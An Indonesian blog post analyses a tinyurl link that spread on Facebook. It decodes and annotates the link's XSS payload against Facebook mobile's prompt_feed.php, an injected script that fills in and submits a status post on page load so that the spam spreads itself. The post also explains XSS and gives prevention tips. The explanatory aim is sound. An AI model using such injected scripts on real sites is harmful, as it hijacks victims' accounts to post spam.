"Jangan salahin w kalo lo bakalan ngakak ngeliat ni orang :D 
http://tinyurl.com/sampahh
Hari ini link tinyurl.com/sampahh tersebut sedang ramai-ramainya dibicarakan gara-gara "kemampuannya" mengupdate status secara otomatis (autopost) di Facebook.
Amankah link tersebut?
Bagaimanakah cara pencegahannya?

Pertama-tama, mari kita "bongkar" Long URL dari tinyurl tersebut:

http://m.facebook.com/connect/prompt_feed.php?display=wap&
user_message_prompt='%3Cscript%3Ewindow.onload=function()
{document.forms[0].message.value=
'jangan%20salahin%20w%20kalo%20lo%20
bakal%20ngakak%20ngeliat%20ni%20orang%20:D%20
http://tinyurl.com/sampahh';document.forms[0].submit();}%3C/script%3E  

Setelah itu, kita decode menggunakan URL decoder/encoder (yang pada dasarnya cuma mengubah "%20" menjadi 'spasi', "%3C" menjadi "<", dan "%3E" menjadi ">" :p [lebih lengkap tentang ini, silakan cek URL encoding]),
sehingga didapatlah:

http://m.facebook.com/connect/prompt_feed.php?
display=wap&
user_message_prompt=
'<script>
window.onload=function()
{
   document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D 
            http://tinyurl.com/sampahh';
   document.forms[0].submit();
}
</script>

Well, pada dasarnya ini memanfaatkan XSS vulnerability pada prompt_feed.php dari Facebook mobile.

1. Apa itu XSS?
XSS merupakan singkatan dari Cross Site Scripting. Intinya adalah memanfaatkan kesalahan penulisan scripting pada website. XSS sebenernya bekerja pada sisi client, tapi  efek yang dihasilkan bisa memaksa server untuk menjalankan perintah kita. Lihat saja pada kode diatas, server sampai menjalankan script (antara <script> dan </script>) yang kita masukkan ._.
Lebih lanjut tentang XSS: CLICK HERE - CLICK HERE

2. Apa itu prompt_feed.php?
Jujur saya juga ngga terlalu tau.. :hammer:
Tapi itu rasanya termasuk kedalam API yang disediakan Facebook untuk pada developer. Misalnya, silakan cek ini. Yang jelas, promp_feed.php ini berfungsi untuk mengupdate status via Facebook.
Developer? Yap, coba saja buka
http://m.facebook.com/connect/prompt_feed.php.
Kemudahan mempublish status seperti pada gambar disamping pastinya sangat dibutuhkan untuk membuat suatu aplikasi yang terhubung dengan facebook. Sayangnya, masih ada "lubang" pada scriptingnya, sehingga dapat "dimainkan" dengan XSS.. ._.


3. Apakah password dan informasi berharga lain saya dicuri ketika tak sengaja mengklik tinyurl.com/sampahh itu?
Rasanya sih tidak. Dilihat dari kodenya, tak ada yang berhubungan langsung dengan password ataupun akses cookies. Sekedar eksploitasi menggunakan Javascript (yang berada diantara tag <script> dan </script>), yang selayaknya tidak dieksekusi oleh server (berdoa saja supaya pengembangnya segera menambal lubang ini ._.)

http://m.facebook.com/connect/prompt_feed.php?
display=wap&//display dan user_message_prompt merupakan parameter dari prompt_feed.php
user_message_prompt=
'<script> //single quote (') disini sebenernya sama sekali ngga ada artinya xD
window.onload=function()//event yang terjadi ketika halaman selesai diload
{
   document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D 
            http://tinyurl.com/sampahh'; //isi form/textarea dengan sesuatu
   document.forms[0].submit(); //submit formnya
}
</script>

4. Apakah ini tergolong sebagai virus atau spam?
Nope, bukan virus. Hanya menginject script.
Spam? Mungkin saja bisa disebut begitu. Emang statusnya "nyampah" kan? :P

5. Lalu bagaimana cara menghindarinya?
Biasakan selalu mengexpand terlebih dahulu setiap shorten URL! Salah satunya adalah dengan menggunakan  http://longurl.org/. Dengan cara ini, kita dapat mengetahui link asli yang dibuat lebih pendek oleh situs-situs seperti tinyurl.com, bit.ly, goo.gl atau adf.ly. Jangan diklik ketika link aslinya terlihat mencurigakan!

Atau, spesial untuk scripting menggunakan prompt_feed.php ini, block aplikasi sehingga autopost via prompt_feed tak akan bisa dilakukan lagi :3
Kemudian...


Secara umum, metode pencegahan untuk setiap modus "penipuan" pada internet adalah hati-hati dalam mengklik sesuatu! Jangan mudah tergoda dengan berbagai penawaran di internet, apalagi jika linknya tidak jelas dan mencurigakan.


Semoga bermanfaat!
Correct me if something in my article wrong. :)

1 comments:

  1. eyank Says:
  2. akhir2 ini di fanpage ini http://m.facebook.com/wall.php?id=130419563671118&st=1&_rdr
    selalu dipenuhi status biru yg pengirimnya berlainan id yg mana sangat meresahkan pengunjung fp tsb,
    Apakah cara kerjanya sama dan bagaimana cara mengatasinya.

Post a Comment

Daripada menggunakan "Anonymous" untuk memberi comment, sebaiknya gunakan "Name/URL". URL bisa dikosongkan jika memang dikehendaki.. :)

Terima kasih :)